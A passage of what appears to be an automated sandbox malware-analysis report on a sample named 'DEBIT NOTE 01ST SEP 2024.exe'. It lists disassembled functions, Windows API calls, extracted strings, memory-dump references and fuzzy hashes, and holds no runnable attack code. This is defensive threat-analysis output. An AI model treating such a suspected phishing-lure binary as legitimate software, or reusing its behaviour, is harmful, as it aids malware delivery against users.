                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend_mallocwsprintf
                                          • String ID: %d/%02d/%02d
                                          • API String ID: 1262938277-328681919
                                          • Opcode ID: 0791508f4d5d4d8a4d88f52051df625728301e413c657ab928a68c4181838543
                                          • Instruction ID: 953f6dd97ce98099cbba652085d0304866be84a46252058ffc4865c1a62d2123
                                          • Opcode Fuzzy Hash: 0791508f4d5d4d8a4d88f52051df625728301e413c657ab928a68c4181838543
                                          • Instruction Fuzzy Hash: 9DF0823274022866D7109BD9AD42FBEB3A8DB49762F00416BFE08E9180E6694854C3B9
                                          Function 00442651 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetCloseHandle.WININET(?), ref: 00442663
                                          • InternetCloseHandle.WININET ref: 00442668
                                            • Part of subcall function 004319AC: WaitForSingleObject.KERNEL32(aeB,?,?,00442688,aeB,00002710,?,?,00426561,?,?,0040F19D), ref: 004319BD
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CloseHandleInternet$ObjectSingleWait
                                          • String ID: aeB
                                          • API String ID: 857135153-906807131
                                          • Opcode ID: c8224cb77d174d98af0e1b6511dcd9cd22ae279780c4dc09588970c0e039578a
                                          • Instruction ID: 0fa74210230a71b56b5a48e3a0e63043fcf8dca502afcbd281d0c2380f7acdeb
                                          • Opcode Fuzzy Hash: c8224cb77d174d98af0e1b6511dcd9cd22ae279780c4dc09588970c0e039578a
                                          • Instruction Fuzzy Hash: 46E0E67650071467D310AF9ADC00B4BF7DC9F95724F11482FEA4497650C6B5B4408BA4
                                          Function 00433244 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          • C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe, xrefs: 0043324B
                                          • ^B, xrefs: 00433248
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcsncpy
                                          • String ID: ^B$C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe
                                          • API String ID: 1735881322-2492297191
                                          • Opcode ID: f7c3fd886c497ae33bdd3057849675e3afdb83c7c480df0bc310b3c11edf5eb4
                                          • Instruction ID: 95fca152a805ab331260cabc3645652019b64b11bc5d0d7a1f408bc65d2df1f2
                                          • Opcode Fuzzy Hash: f7c3fd886c497ae33bdd3057849675e3afdb83c7c480df0bc310b3c11edf5eb4
                                          • Instruction Fuzzy Hash: ADE0C23360051A7B9710DE4AD841DBBF37DEEC4A20B08802AF90883200E2B1BD1A43E4
                                          Function 00441BE8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00441BFE
                                          • PostMessageW.USER32(00000000), ref: 00441C05
                                            • Part of subcall function 004331A2: Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331B9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: FindMessagePostSleepWindow
                                          • String ID: Shell_TrayWnd
                                          • API String ID: 529655941-2988720461
                                          • Opcode ID: 45e518b183cc50fc9cae19d0f51122c68363ee0c98c893ad2541c3bd761d7025
                                          • Instruction ID: aba4e04af0122a293c2d26b46e7c49f9db856b5fc79b6d6ac13cebee95b63d36
                                          • Opcode Fuzzy Hash: 45e518b183cc50fc9cae19d0f51122c68363ee0c98c893ad2541c3bd761d7025
                                          • Instruction Fuzzy Hash: EFD0A772BC13013BFA6077745D0FF8B66145B14711F000C3A7B42E61C1D4F8E4018758
                                          Function 00441C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00441C2A
                                          • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00441C3D
                                            • Part of subcall function 004331A2: Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331B9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: FindMessagePostSleepWindow
                                          • String ID: Shell_TrayWnd
                                          • API String ID: 529655941-2988720461
                                          • Opcode ID: 2c92ce268d6dea70ed1d9c93ac972332f86dd545b3a9023bb22b3be85c6f7e29
                                          • Instruction ID: e91d5bd0f3095d95abf168919443ed1e5ef8457e9bc9ee6dadeb2d3358a759b2
                                          • Opcode Fuzzy Hash: 2c92ce268d6dea70ed1d9c93ac972332f86dd545b3a9023bb22b3be85c6f7e29
                                          • Instruction Fuzzy Hash: 61D0A772B843017BFA6077745D0FF8B66145B14711F000C3A7B46A61C1D4F8D4018758
                                          Function 004370C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 004370D1
                                            • Part of subcall function 004118DA: _doexit.LIBCMT ref: 004118E6
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Message_doexit
                                          • String ID: AutoIt$Error allocating memory.
                                          • API String ID: 1993061046-4017498283
                                          • Opcode ID: a805162a0f5c9c87f8277766c6d2ca4cce7c6123580b1b409358537ccd51af94
                                          • Instruction ID: aa36ec6b1cc278624b5c670a1a0522bf80bf1016c56dd6686bcadf549e8ac499
                                          • Opcode Fuzzy Hash: a805162a0f5c9c87f8277766c6d2ca4cce7c6123580b1b409358537ccd51af94
                                          • Instruction Fuzzy Hash: F1B092323C030627E50437910D0BF9D26003B64F02F220C067324280D204C90090131D